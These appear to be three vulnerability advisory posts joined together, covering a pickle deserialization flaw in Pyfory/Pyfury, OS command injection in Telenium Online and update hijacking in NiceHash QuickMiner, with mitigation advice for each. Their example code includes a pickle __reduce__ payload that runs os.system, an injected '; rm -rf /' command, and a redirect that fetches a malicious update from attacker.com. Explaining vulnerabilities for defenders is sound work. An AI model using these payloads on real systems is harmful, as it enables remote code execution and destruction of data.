Author: Ameeba

Overview

The vulnerability tracked as CVE-2025-61622 is a critical flaw that resides in the Pyfory library of Python, versions 0.12.0 through 0.12.2, and its predecessor Pyfury, versions from 0.1.0 through 0.10.3. This vulnerability, if exploited, could enable an attacker to execute arbitrary code on the affected system. It is of utmost importance due to its high severity score and the potential for widespread impact, affecting any application that reads Pyfory serialized data from untrusted sources.

Vulnerability Summary

CVE ID: CVE-2025-61622
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Python Pyfory | 0.12.0 – 0.12.2
Python Pyfury | 0.1.0 – 0.10.3

How the Exploit Works

The vulnerability stems from the deserialization of untrusted data in Python’s Pyfory and Pyfury libraries. An attacker can craft a data stream that triggers the pickle-fallback serializer during deserialization. The execution of `pickle.loads` is vulnerable to remote code execution, allowing the attacker to run arbitrary code on the system.

Conceptual Example Code

Here is a conceptual example of how an attacker could exploit this vulnerability. This pseudocode demonstrates the crafting of a malicious payload that triggers the pickle-fallback serializer:

import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('your malicious command here',))
malicious_payload = pickle.dumps(Exploit())

In this example, the `Exploit` class contains a `__reduce__` method that returns a tuple. The first element of the tuple is a callable (os.system), and the second is a tuple containing the arguments for the callable. When this object is unpickled, it will execute `os.system(‘your malicious command here’)`.
This payload could then be sent to an application using the vulnerable versions of the Pyfory or Pyfury libraries. If the application deserializes the payload, it will trigger the execution of the malicious command.

Mitigation Guidance

Users are strongly recommended to upgrade to Pyfory version 0.12.3 or later, which has removed the pickle fallback serializer and thus fixes this issue. In cases where immediate patching is not possible, employing Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) could provide temporary mitigation. However, these should not be considered as long-term solutions, as they may not fully protect against exploits targeting this vulnerability.

Overview

A high-risk vulnerability has been identified in the Telenium Online Web Application, with a CVSS severity score of 9.8, that may lead to a system compromise or data leakage. This critical security issue affects any application running on an unpatched version of the software. The vulnerability lies in a PHP endpoint accessible to unauthenticated users, which does not properly handle user-supplied input due to insecure termination of a regular expression check within the endpoint. The implications of this vulnerability are severe and demand immediate attention as it allows an attacker to inject arbitrary operating system commands leading to remote code execution.

Vulnerability Summary

CVE ID: CVE-2025-10659
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote code execution, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Telenium Online Web Application | All unpatched versions

How the Exploit Works

The vulnerability lies in the insecure termination of a regular expression check within a PHP endpoint. This endpoint is accessible to unauthenticated users, which means that anyone with network access could potentially exploit this vulnerability. Due to improper handling of user-supplied input, an attacker can inject arbitrary operating system commands via a specially crafted HTTP request. These commands are then executed on the server in the context of the web application service account, giving the attacker the ability to execute code remotely.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that injects malicious commands into the user-supplied input.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_input": "; rm -rf /"
}

In this example, the attacker is sending a command to delete all files in the root directory, which could potentially crash the entire system. This is a simplified example to illustrate the concept, actual attacks would likely be more complex and tailored to the specific system being targeted.

Recommended Mitigation

The best mitigation for this vulnerability is to apply the vendor’s patch as soon as possible. If immediate patching is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on suspicious activity. It is also recommended to restrict network access to sensitive endpoints as much as possible, and always validate and sanitize user-supplied input.

Overview

In this post, we delve into the details of a severe cybersecurity vulnerability, infamously known as CVE-2025-56513, present in NiceHash QuickMiner 6.12.0. This vulnerability can be exploited by an attacker to hijack the update process and deliver arbitrary executables resulting in full remote code execution. It predominantly affects users of the NiceHash QuickMiner software and is significantly critical due to its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-56513
Severity: Critical (CVSS score 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full remote code execution leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

NiceHash QuickMiner | 6.12.0

How the Exploit Works

The exploitation of this vulnerability stems from NiceHash QuickMiner’s lack of validation during software updates. Specifically, the software performs updates over HTTP without digital signature validation or hash checks. An attacker with the ability to intercept or redirect traffic to the update URL can thus hijack the update process and deliver arbitrary executables. The software automatically executes these executables, enabling full remote code execution by the attacker.

Conceptual Example Code

Here is a conceptual example demonstrating how an attacker might exploit this vulnerability:

GET /update HTTP/1.1
Host: update.nicehash.com
User-Agent: NiceHash QuickMiner/6.12.0
HTTP/1.1 302 Found
Location: http://attacker.com/malicious_update.bin
GET /malicious_update.bin HTTP/1.1
Host: attacker.com
User-Agent: NiceHash QuickMiner/6.12.0
HTTP/1.1 200 OK
Content-Type: application/octet-stream
{ "malicious_payload": "..." }

In this example, the attacker redirects the update request to their own server and delivers a malicious update package, which is then automatically executed by the NiceHash QuickMiner software.

Mitigation Guidance

Users of NiceHash QuickMiner are advised to immediately apply the vendor patch to mitigate this vulnerability. For temporary mitigation, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection against possible exploits. However, these are not long-term solutions and the vendor patch should be applied as soon as possible.